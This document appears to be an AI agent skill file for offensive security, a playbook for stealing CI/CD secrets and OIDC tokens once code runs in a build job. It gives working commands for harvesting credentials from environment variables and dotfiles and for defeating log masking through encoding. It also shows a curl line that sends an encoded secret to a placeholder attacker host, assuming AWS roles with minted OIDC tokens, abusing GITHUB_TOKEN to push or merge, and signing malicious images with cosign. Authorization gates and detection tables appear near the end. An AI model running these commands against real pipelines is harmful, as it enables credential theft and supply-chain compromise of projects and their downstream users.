- name
- cicd-secrets-exfil
- description
- Extracting CI secrets / OIDC tokens once you have code execution in a build job — echo/printenv exfil, log-masking bypass (base64, char-split, reversal), OIDC token abuse to assume cloud roles, GITHUB_TOKEN / CI_JOB_TOKEN scope abuse, cache / artifact secret leakage, provenance pivot.
- allowed-tools
- Bash Read Write
- metadata
- {"subdomain":"credential-access","when_to_use":"ci secrets exfil printenv masking bypass oidc id-token aws assume-role gcp workload identity azure github_token ci_job_token cache artifact","tags":"ci-cd, secrets, oidc, credential-access","mitre_attack":"T1552.001, T1552.007, T1078.004, T1528"}
# CI/CD Secrets & OIDC Exfiltration
Pre-requisite: you already have code execution in a CI job (see `poisoned-pipeline-execution/` or `github-actions-injection/`). Goal: convert that ephemeral execution into durable cloud / registry access without tripping log masking.
## Surface map
```bash
# In the runner — every place a secret might live
env | grep -iE 'token|secret|password|key|aws_|gcp_|azure_|registry|npm_|pypi_|dockerhub' | head
ls -la "$HOME/.docker/config.json" "$HOME/.aws/credentials" "$HOME/.kube/config" "$HOME/.netrc" 2>/dev/null
ls -la "$RUNNER_TEMP/_github_workflow/" 2>/dev/null
cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -iE 'token|secret' | sort -u | head
```
## Log masking — and how it fails
GitHub Actions, GitLab CI, CircleCI mask declared secrets in job logs by replacing exact substrings with `***`. The mask is **substring-based, applied post-write, to UTF-8 chars only**. Defeats trivially:
```bash
SECRET="$MY_SECRET"
# 1. Base64 — masker doesn't decode
echo "$SECRET" | base64 -w0
# 2. Hex
echo -n "$SECRET" | xxd -p
# 3. Char-by-char (one char per line)
echo "$SECRET" | fold -w1
# 4. Reverse
echo "$SECRET" | rev
# 5. Print length + first/last chars (use this for *proof*; don't print the whole secret)
echo "len=${#SECRET} first4=${SECRET:0:4} last4=${SECRET: -4}"
# 6. Split across two strings
echo "${SECRET:0:${#SECRET}/2}"; echo "${SECRET:${#SECRET}/2}"
# 7. Use as URL — DNS exfil masks the secret in HTTP logs but the lookup succeeds
curl -s "https://$(echo -n "$SECRET" | base64 -w0 | tr -d = | head -c 60).<COLLAB>/"
# 8. Out-of-band — write to artifact then download
echo "$SECRET" | base64 > "$RUNNER_TEMP/proof.b64"
# then: actions/upload-artifact -> attacker downloads
```
**For authorized research: stop at step 5.** Length + first 4 + last 4 chars is enough to prove access; do not move the full secret to attacker infrastructure.
## What lives in `env`
```bash
# GitHub Actions
# - GITHUB_TOKEN — workflow token (scope depends on `permissions:` block, default depends on org)
# - secrets.* — explicitly referenced; only present if the step mapped them
# - ACTIONS_RUNTIME_TOKEN — runner-to-service JWT, scoped to runtime APIs (artifacts, cache)
# - ACTIONS_ID_TOKEN_REQUEST_TOKEN + ACTIONS_ID_TOKEN_REQUEST_URL — OIDC exchange endpoints
# - ACTIONS_CACHE_URL — cache service endpoint
# GitLab CI
# - CI_JOB_TOKEN — short-lived job token, scope depends on project + CI/CD settings
# - CI_REGISTRY_USER / CI_REGISTRY_PASSWORD — container registry
# - CI_DEPENDENCY_PROXY_USER / _PASSWORD
# CircleCI
# - CIRCLE_OIDC_TOKEN, CIRCLE_TOKEN
```
## GitHub OIDC -> cloud role
If the workflow declares `permissions: id-token: write`, the runner can mint a JWT trusted by AWS / GCP / Azure / Vault that maps to a cloud role. With code execution, you can mint it yourself even if no later step uses it:
```bash
# Mint an OIDC token from inside the job
ID_TOKEN=$(curl -sH "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=sts.amazonaws.com" | jq -r .value)
# Inspect claims (no secret — JWT is base64)
echo "$ID_TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq .
# Claims include: sub (repo:OWNER/REPO:ref:refs/heads/...), iss, aud, repository, workflow
# AWS — assume role if trust policy matches the sub claim
aws sts assume-role-with-web-identity \
--role-arn "$AWS_ROLE_ARN" \
--role-session-name research \
--web-identity-token "$ID_TOKEN" \
--duration-seconds 900 \
| jq '{AccessKeyId:.Credentials.AccessKeyId[0:6]+"...", Expiration:.Credentials.Expiration}'
# GCP — exchange for a Google access token via Workload Identity Federation
# (requires the WIF pool/provider to trust the GitHub OIDC issuer)
```
**Trust-policy enumeration without burning a session**: the OIDC `sub` claim is deterministic — `repo:OWNER/REPO:ref:refs/heads/BRANCH` or `:environment:NAME`. If you can read the trust policy (cross-account roles are sometimes enumerable via `iam:GetRole` from a low-priv key), you can predict which `(repo, ref)` will pass.
## `GITHUB_TOKEN` abuse
```bash
# What can this token do? (no secret leaked — just header inspection)
curl -sI -H "Authorization: Bearer $GITHUB_TOKEN" https://api.github.com/ | grep -i x-oauth-scopes
gh api /repos/$GITHUB_REPOSITORY --jq '.permissions'
# Common abuses given `contents: write` + `pull-requests: write`
gh release create v0.0.0-poc --notes "research" --target $GITHUB_SHA # creates a release
gh pr merge <N> --merge # merges a PR
git push "https://x-access-token:$GITHUB_TOKEN@github.com/$GITHUB_REPOSITORY" HEAD:refs/heads/research
# packages: write -> push a container to ghcr.io tagged as a "release"
echo "$GITHUB_TOKEN" | docker login ghcr.io -u "$GITHUB_ACTOR" --password-stdin
```
`GITHUB_TOKEN` is short-lived (job duration) and not exfilable to durable infra — but within the job it can mutate the repo, releases, packages, deployments. That mutation is the persistence.
## GitLab `CI_JOB_TOKEN`
```bash
# Job-token API surface — package registry, container registry, releases, child pipelines
curl -s --header "JOB-TOKEN: $CI_JOB_TOKEN" \
"$CI_API_V4_URL/projects/$CI_PROJECT_ID/packages"
# If "CI/CD Job Token allowlist" is disabled (default historically), this token can access
# OTHER projects in the same group — cross-project pivot
curl -s --header "JOB-TOKEN: $CI_JOB_TOKEN" \
"$CI_API_V4_URL/projects/<OTHER_PROJECT_ID>/repository/files/Dockerfile/raw?ref=main"
```
## Cache / artifact secret leakage
```bash
# Cache key collisions — a base-branch job that wrote a cache containing creds, restored by a PR job
# Look for caches that include $HOME/.docker, $HOME/.aws, $HOME/.npmrc, ~/.gradle
gh api "repos/$GITHUB_REPOSITORY/actions/caches" --jq '.actions_caches[] | {key,size_in_bytes,ref}'
# Inside the job — list restored cache contents
ls -la "$HOME/.cache" "$HOME/.gradle" "$HOME/.m2" "$HOME/.npm" 2>/dev/null
grep -RhE '^[A-Z_]+=.+(token|secret|key|password)' "$HOME"/.{npmrc,pypirc,gradle,m2,docker} 2>/dev/null | head
# Artifacts from a sibling job often contain build logs with masked-but-bypassable secrets
gh run download <RUN_ID> --repo $GITHUB_REPOSITORY -n build-logs
grep -RhE '(AKIA|ghp_|gho_|ghu_|ghs_|ghr_|xox[baprs]-|eyJ[A-Za-z0-9_-]{20,})' .
```
## Provenance / supply-chain pivot
Once you can mint an OIDC token + push to ghcr.io / npm / PyPI as the project, you can sign artifacts via `cosign` / `sigstore` with the project's identity. Downstream consumers that verify signatures will accept malicious releases:
```bash
# Sign a malicious image with the project's OIDC identity (Sigstore keyless)
COSIGN_EXPERIMENTAL=1 cosign sign --yes "ghcr.io/$GITHUB_REPOSITORY:malicious"
```
This is exactly the chain SLSA L3 is meant to prevent and what the `tj-actions/changed-files` incident exercised end-to-end.
## Detection signatures
| Signal | Source |
|---|---|
| Outbound DNS with high-entropy subdomain from a runner | DNS firewall (Cisco Umbrella, NextDNS, internal) |
| `base64`, `xxd`, `rev`, `fold -w1`, `${VAR:0:1}` in a `run:` step | step-log scanner (rare in defender stacks; opportunity) |
| OIDC `assume-role-with-web-identity` from a new `(repo, ref)` pair | CloudTrail `AssumeRoleWithWebIdentity` events |
| `GITHUB_TOKEN` releasing/tagging/merging from a non-release workflow | branch-protection audit, GH audit log |
| Artifact / cache containing dotfile dirs (`.docker`, `.aws`) | cache-policy lint |
## Tools
| Tool | Use |
|---|---|
| `trufflehog` | Post-hoc scan of repo / job logs for leaked credentials |
| `gitleaks` | Pre-commit + log-scan equivalent |
| `gato-x secrets` | Automates the print + masking-bypass loop |
| `cosign` / `sigstore` | Signing pivot once OIDC + push rights are in hand |
| `aws-vault`, `gcloud auth` | Local validation of exchanged credentials (against research accounts only) |
## Decision gate
1. **Print proof, not the secret.** `len + first4 + last4` is enough. Anything more requires explicit written authorization for credential extraction.
2. **Do not exchange OIDC for cloud credentials** unless the engagement scope names the cloud account and the action explicitly authorizes role assumption. Demonstrate the *capability* by minting the token and decoding the claims locally — that proves the trust path without burning a session.
3. **Do not push artifacts** (releases, packages, container tags) even if the token allows it. Document the capability with a dry-run (`--dry-run`, `gh release create ... --draft` on a research repo).
4. Scrub any artifact / cache you created during the test before declaring done.
## References
- GitHub docs — "About security hardening with OpenID Connect"
- CICD-SEC-06 — "Insufficient Credential Hygiene" (OWASP)
- Synacktiv — "GitHub Actions: Masking secrets is not enough"
- Adnan Khan — Sigstore + GHA OIDC pivot writeups
- `tj-actions/changed-files` (CVE-2025-30066) — end-to-end OIDC + masking-bypass chain in the wild
Ver en GitHub